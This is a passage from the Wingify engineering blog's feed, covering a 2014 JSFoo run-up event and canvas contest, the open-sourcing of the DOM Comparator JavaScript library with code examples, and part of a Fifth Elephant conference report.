6 13 6z"></path></svg></a>Presentation slides from the event:</h2> <ol> <li><a href="http://slides.com/rudimk/jsmath#/">A new approach to scientific computing using JavaScript</a> - Rudi M. K.</li> <li><a href="http://www.slideshare.net/wingify_engineering/learn-js-concepts-by-implementing-jquery">Learning JS concepts/techniques by implementing jQuery</a> - Kushagra Gour</li> <li><a href="http://www.slideshare.net/wingify_engineering/resources-and-relationships-at-frontend">Managing API Resources and Their Relationships on the Front-end</a> - Himanshu Kapoor</li> <li><a href="http://www.slideshare.net/ankit0rastogi/ten-useful-javascript-tips-best-practices">Ten Useful JavaScript Tips &#x26; Best Practices</a> - Ankit Rastogi</li> <li><a href="http://shwetankdixit.com/downloads/jsfooRunnup.pdf">Understanding WebRTC: A Whirlwind Tour</a> - Shwetank Dixit</li> </ol> <h2 id="wingify-engineering-on-twitter" style="position:relative;"><a href="#wingify-engineering-on-twitter" aria-label="wingify engineering on twitter permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Wingify Engineering on Twitter</h2> Also, we are happy to announce that Wingify’s engineering team is now on Twitter! Follow us on <a href="https://twitter.com/wingify_engg">@wingify_engg</a> to get updates on awesome things being cooked here.</content:encoded><author>Suchit Puri</author></item><item><title><![CDATA[JSFoo 2014 Delhi Run-up Event + JS Contest]]></title><description><![CDATA[The front-end has become the heart of today's web application development, and JavaScript drives a core part of it. New technologies…]]></description><link>https://engineering.wingify.com//posts/jsfoo-run-up-event/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/jsfoo-run-up-event/</guid><pubDate>Mon, 25 Aug 2014 00:00:00 GMT</pubDate><content:encoded>The front-end has become the heart of today's web application development, and JavaScript drives a core part of it. New technologies, libraries, frameworks and the likes come up each day, and the existing ones continue to grow and evolve as time goes by. There is so much to learn, and so many learnings of your own to share, that community involvement becomes indispensable. Our single-page application, <a href="http://vwo.com">VWO</a>, is powered by a nifty combination of web technologies on the front-end, ranging from Grunt to AngularJS. The development process of the new version of the application was very rapid and full of challenges. We had dabbled into the previously unexplored territory of single-page application development at such a large scale, and having pulled it off in a relatively short span of time has been quite a feat. <h2 id="sponsoring-jsfoo" style="position:relative;"><a href="#sponsoring-jsfoo" aria-label="sponsoring jsfoo permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sponsoring JSFoo</h2> For the very reason of community involvement being indispensable for better development, we are sponsoring JSFoo 2014 in Bangalore this year. Our engineers will be present at the conference. Should you be interested in our work, and would like to know more about what we do, want to work with us, or just want to say Hi!, drop by our booth (B1), or catch any of our team members at the event. <h2 id="jsfoo-run-up-event-delhi" style="position:relative;"><a href="#jsfoo-run-up-event-delhi" aria-label="jsfoo run up event delhi permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>JSFoo Run-up Event (Delhi)</h2> We're also hosting a run-up event at our office in Pitampura, Delhi on 6th September 2014. There will be talks and a workshop too. <a href="https://jsfoo.in/2014/runup-delhi">Join us at the run-up event. RSVP here.</a> As a part of the run-up event, we're organising an online JavaScript competition. <h2 id="online-javascript-competition---visualize" style="position:relative;"><a href="#online-javascript-competition---visualize" aria-label="online javascript competition visualize permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Online JavaScript Competition - Visualize</h2> The premise of this competition is simple - to use JavaScript and HTML5 canvas to create something visually appealing. The theme of the competition is <a href="http://en.wikipedia.org/wiki/Square">Squares</a>. You are free to create anything with JavaScript, canvas and squares. If visualizations, particle effects, fractals, interactivity, JavaScript and canvas are some of the words that excite you, this is the competition for you. Below are some examples of JS creativity: <ul> <li><a href="http://mrdoob.com/lab/javascript/effects/branching/01/">Branching Visualization</a></li> <li><a href="http://cssdeck.com/labs/full/jelly-text">Springy Jelly</a></li> <li><a href="http://cssdeck.com/labs/full/html5-canvas-particles-web-matrix">Particles Web Matrix</a></li> <li><a href="http://xplsv.com/prods/demos/xplsv_orsotheysay/">Or So They Say...</a></li> </ul> Below are some valid sample entries: <ul> <li><a href="http://cssdeck.com/labs/full/tunnel-of-squares">Tunnel of Squares</a></li> <li><a href="http://cssdeck.com/labs/full/shattering-text-effect-in-canvas">Shattering text</a></li> </ul> <h3 id="making-submissions" style="position:relative;"><a href="#making-submissions" aria-label="making submissions permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Making Submissions</h3> Submissions for the competition need to be done as a deck on <a href="http://cssdeck.com/">CSSDeck</a>. <a href="http://cssdeck.com/post/67/guest-creations">Read here</a> to know about submitting on CSSDeck. Optionally, you can also submit your entry via another code submission site like <a href="http://codepen.io">Codepen</a>, or by uploading it on your server. Once you are ready with your submission, please tweet it using the following template: <blockquote> I submitted an entry for Wingify-JSFoo online competition: &#x3C;CSSDeck link here> @wingify @jsfooindia #wingifyjsfoocompo #js </blockquote> Let the submissions begin! <h3 id="rules" style="position:relative;"><a href="#rules" aria-label="rules permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Rules</h3> <ol> <li>The deadline for the competition is 20th September 2014, 23:59 IST.</li> <li>Your entry should use Javascript, HTML5 Canvas and Squares to create something visually appealing.</li> <li>CoffeeScript is allowed.</li> <li>Judgement will primarily be based on visual appeal. Secondary parameters include code quality and smoothness.</li> <li>Multiple entries by a single participant are allowed.</li> <li>Bonus points for using <a href="http://vanilla-js.com/">vanilla JS</a>.</li> <li>The results will be announced after 20th September 2014 here on the blog as well as on our twitter account: <a href="https://twitter.com/wingify">@wingify</a>.</li> <li>You must be living in India to be eligible for this competition.</li> </ol> If you have any questions or suggestions, comment on this post or <a href="mailto:engineering@wingify.com">send us an email</a>. <h3 id="rewards" style="position:relative;"><a href="#rewards" aria-label="rewards permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Rewards</h3> The best two entries in the competition will be rewarded with prizes. There are three consolation prizes as well. <h4 id="winner-prize" style="position:relative;"><a href="#winner-prize" aria-label="winner prize permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Winner Prize</h4> <ul> <li><a href="https://developer.mozilla.org/en-US/Firefox_OS/Developer_phone_guide/Flame">Firefox OS Flame Device</a></li> </ul> <h4 id="runner-up-prize" style="position:relative;"><a href="#runner-up-prize" aria-label="runner up prize permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Runner-up Prize</h4> <ul> <li><a href="https://www.mozilla.org/en-US/firefox/os/devices/#zte_open">Firefox OS ZTE Open Device</a></li> </ul> <h4 id="consolation-prizes" style="position:relative;"><a href="#consolation-prizes" aria-label="consolation prizes permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Consolation Prizes</h4> <ul> <li>Software licenses of Sublime Text or JetBrains WebStorm.</li> </ul> <h2 id="wingify--jsfoo" style="position:relative;"><a href="#wingify--jsfoo" aria-label="wingify jsfoo permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Wingify @ JSFoo</h2> Our engineers will be present at the conference. If you are <a href="http://github.com/wingify">interested in our work</a>, want to know more about what we are doing, want to work with us (<a href="http://wingify.com/careers">we're hiring</a>), get some cool goodies or just want to say Hi!, please visit our booth (B1) or catch any of our team members. We’d love to talk to you! We look forward to meeting in Delhi for the run-up event and in Bangalore for the conference! <h4 id="edit---23rd-september-2014" style="position:relative;"><a href="#edit---23rd-september-2014" aria-label="edit 23rd september 2014 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Edit - 23rd September 2014</h4> Results for our JS competition are out! <ul> <li>1st prize - Amanpreet Singh - <a href="http://anixir.com/projects/squares/index.htm">View entry</a></li> <li>2nd prize - Shubham Jain - <a href="http://cssdeck.com/labs/swdgqeai5m">View entry</a></li> <li>3rd prize - Mahima Sivasankar - <a href="http://cssdeck.com/labs/full/xeg8hfex">View entry</a></li> </ul> You will be contacted individually for further process. Congratulations!</content:encoded><author>Himanshu Kapoor</author></item><item><title><![CDATA[Open Sourcing DOM Comparator]]></title><description><![CDATA[DOM Comparator is a JavaScript library that analyzes and compares two HTML strings, and returns back a diff object. It returns an output…]]></description><link>https://engineering.wingify.com//posts/open-sourcing-dom-comparator/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/open-sourcing-dom-comparator/</guid><pubDate>Mon, 11 Aug 2014 00:00:00 GMT</pubDate><content:encoded>DOM Comparator is a JavaScript library that analyzes and compares two HTML strings, and returns back a diff object. It returns an output which is an array of operation objects. <div style="text-align: center;"> <a href="https://github.com/wingify/dom-comparator" style="padding: 20px 40px; font-size: 24px;" class="btn btn-primary">DOM Comparator on Github</a> </div> Here's a simple example: <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript">var stringA = '&lt;ul>&lt;li class="active">list item 1&lt;/li>&lt;li>list item 2&lt;/li>&lt;/ul>'; var stringB = '&lt;ul>&lt;li>list item 1&lt;/li>&lt;li>list item 2&lt;/li>&lt;/ul>'; // Compare the two strings var result = VWO.DOMComparator.create({ stringA: stringA, stringB: stringB }); // Expect an array of VWO.Operation objects to be returned, // the first one of which looks like below: expect(result[0]).toEqual({ name: 'removeAttr', selectorPath: 'UL:first-child > LI:first-child', content: { class: 'active' } });</code></pre></div> <h2 id="motivation" style="position:relative;"><a href="#motivation" aria-label="motivation permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Motivation</h2> <a href="https://vwo.com/knowledge/about-vwo-campaign-builder">The Campaign Builder</a> is one of the core components of our A/B testing software <a href="http://vwo.com">VWO</a>. It allows you to make changes to any website on the fly. Assuming the target website has a small snippet of <a href="https://vwo.com/knowledge/folder-vwo-smart-code">VWO SmartCode</a> (Javascript) inserted, the changes made by the user are applied when the A/B test is run. These changes are little snippets of jQuery operations that are applied on the client-end. One of the major problems faced when applying such changes that they did not regard for dynamic content that might have been rendered by the client's website's backend. Let us consider a simple example: Imagine somebody wanting to run an A/B test on all the product pages of an eCommerce website. He wants to modify the "Buy Now" button on all such pages and make it appear bigger and bolder, so that it captures the end-user's attention better. He navigates to some product page, selects the button and tries to edit it. Assume that that button has markup that looks like below: <div class="gatsby-highlight" data-language="html"><pre class="language-html"><code class="language-html">&lt;a href="javascript:addToCart(16);" class="add_to_cart">Add to Cart&lt;/a></code></pre></div> The Campaign Builder provides an "Edit" operation, that opens up a rich text editor for the user to make changes to any element with ease. Assuming, he makes the text of the button bolder and changes the color to a bright red, here's what the resulting markup would look like: <div class="gatsby-highlight" data-language="html"><pre class="language-html"><code class="language-html">&lt;a href="javascript:addToCart(16);" class="add_to_cart" style="font-weight:bold;color:red;">Add to Cart&lt;/a></code></pre></div> Internally, an Edit operation is identified by the element the operation is applied on, and the new markup provided by the user, which in this case is the above code. It means that if a Buy Now button is found on any page, it will be replaced with the above code. The jQuery code for such an operation would look something like this: <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript">// A unique selector path to identify the element var selector = '#product_description > P:first-child + P > A:first-child'; $(selector).replaceWith('&lt;a href="javascript:addToCart(16);" class="add_to_cart" style="font-weight:bold;color:red;">Add to Cart&lt;/a>');</code></pre></div> Notice how this would not only add the styles to that element, but also change its <code class="language-text">href</code> to always execute <code class="language-text">addToCart(16);</code> regardless of the product page the user is on. Essentially, the dynamic content rendered by the client's backend has now been replaced with static content. <h2 id="dom-comparator-to-the-rescue" style="position:relative;"><a href="#dom-comparator-to-the-rescue" aria-label="dom comparator to the rescue permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>DOM Comparator to the Rescue</h2> With DOM Comparator in place, the initial markup of the Edit operation above will be compared with the final one, and a difference would be returned. The difference would contain the minimal changes necessary to be made to the target element, thereby impacting dynamic content as less as possible. For the above example, here's what the list of resulting operations would look like: <div class="gatsby-highlight" data-language="json"><pre class="language-json"><code class="language-json">[{ "name": "css", "selectorPath": "#product_description > P:first-child + P > A:first-child", "content": { "font-weight": "bold", "color": "red" } }]</code></pre></div> <h2 id="live-demo" style="position:relative;"><a href="#live-demo" aria-label="live demo permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Live Demo</h2> <a href="http://engineering.wingify.com/dom-comparator/live-demo.html">Click here</a> to view a live demo. <h2 id="whats-next" style="position:relative;"><a href="#whats-next" aria-label="whats next permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>What's Next</h2> The library is currently in a pre-alpha state. It works well for a good number of cases, but does not for a lot of others. And for certain complex cases, it might not be performant enough. Our current plans are focused on improving the library as per the below priority list: <ul> <li>Correctness: For almost all the cases, the first priority is to get the output as correct as possible to the expectation. This has been our prime focus thus far.</li> <li>Performance: Once we ensure the cases perform correctly, the next task is to profile and optimize for performance. Since tree comparison is a pretty complex operation, we will be looking into possibilities like spawning a worker for performing tasks, or delegating to a Node.js server for comparison.</li> <li>Readability: For a complex algorithm, it is equally important for the code to be readable. In the coming versions, certain complex logic, especially in the classes <code class="language-text">VWO.DOMMatchFinder</code> and <code class="language-text">VWO.StringComparator</code> will be refactored from the point of view of readability.</li> <li>Documentation: Writing a documentation is as hard as writing code, if not more, is what I have realized when documenting this project. Over time, we will spend some time improving the documentation, and also release a reference manual for the classes used.</li> </ul> <h2 id="contributing" style="position:relative;"><a href="#contributing" aria-label="contributing permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Contributing</h2> If you are interested in contributing to the project, we would love to hear from you. Just <a href="https://github.com/wingify/dom-comparator/fork">fork the repository</a> and <a href="https://github.com/wingify/dom-comparator/pulls">submit a pull request</a>. <h2 id="further-reading" style="position:relative;"><a href="#further-reading" aria-label="further reading permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Further Reading</h2> Head over to <a href="http://engineering.wingify.com/dom-comparator/">the documentation</a> if you'd like to know more.</content:encoded><author>Himanshu Kapoor</author></item><item><title><![CDATA[Wingify at The Fifth Elephant]]></title><description><![CDATA[The Fifth Elephant is a popular conference in India around the Big Data ecosystem. It happened last week in Bangalore. And we were proud to…]]></description><link>https://engineering.wingify.com//posts/wingify-at-the-fifth-elephant/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/wingify-at-the-fifth-elephant/</guid><pubDate>Sat, 02 Aug 2014 00:00:00 GMT</pubDate><content:encoded>[The Fifth Elephant][1] is a popular conference in India around the Big Data ecosystem. It happened last week in Bangalore. And we were proud to sponsor the conference. To represent Wingify at the event, [Ankit][2], [Varun][3] and [I (Vaidik)][4] attended the event. This blog post is an account of what we did at the event and what we learned by sponsoring, attending and being present at the conference as an organization. <div id="fifth-elephant-gallery"> <img src="/images/2014/08/0.jpg"> <img src="/images/2014/08/3.jpg"> <img src="/images/2014/08/1.jpg"> <img src="/images/2014/08/2.jpg"> <img src="/images/2014/08/4.jpg"> <img src="/images/2014/08/5.jpg"> <img src="/images/2014/08/6.jpg"> <img src="/images/2014/08/7.jpg"> <img src="/images/2014/08/8.jpg"> </div> <h2 id="the-conference" style="position:relative;"><a href="#the-conference" aria-label="the conference permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>The conference</h2> The organizers reported that there were 960 registrations for the conference - quite a big number for a conference around something like Big Data. It seems most of the attendees were from Bangalore and not many had come from Delhi. There were talks around infrastructure for big data systems, machine learning, data mining, etc. A few talks out of the ones we attended were really good. There were a few that we wanted to attend but couldn't because we were busy talking to people who wanted to talk to us and know more about us. Well that's what conferences are about - attend a few good talks and meet a lot of people. Fortunately, HasGeek will put out the [recorded videos][5] of those sessions soon. Some talks were around interesting topics and some not so much. Shailesh's talk on [The Art of Data Mining][6] was certainly the best talk out of all the talks that I managed to attend (personal opinion). There were poster sessions for talks that the editorial panel found interesting but not interesting enough to select them for sessions. My proposal for [Using Elasticsearch for Analytics][7] ([presentation slides][8]) was selected for a poster session, which I presented on the 2nd day of the conference. It was interesting to see that multiple teams within Flipkart, Red Hat, a couple of other product startups and services companies were interested in doing the same. So we ended up having long discussions about how are using [Elasticsearch][9] for analytics it at Wingify and how they can use [Elasticsearch][10] to solve similar problems. <div style="text-align:center; margin: 5px;"> <a href="https://flic.kr/p/ovqdx8"> <img src="/images/2014/08/7.jpg"> </a> </div> <h2 id="our-presence-at-the-conference" style="position:relative;"><a href="#our-presence-at-the-conference" aria-label="our presence at the conference permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Our presence at the conference</h2> We had a desk/booth which we managed to prepare nicely to catch everyone's attention. We got a display next to our desk on which we played our super cool video that we put on [vwo.com][11] (a few people expressed that they really liked the video). I think that caught a lot of people's attention. We also strategically placed our standees at places where it was clearly visible. Looking at other standees, I think ours was one of the best in design if not the best. We distributed our t-shirts and stickers, 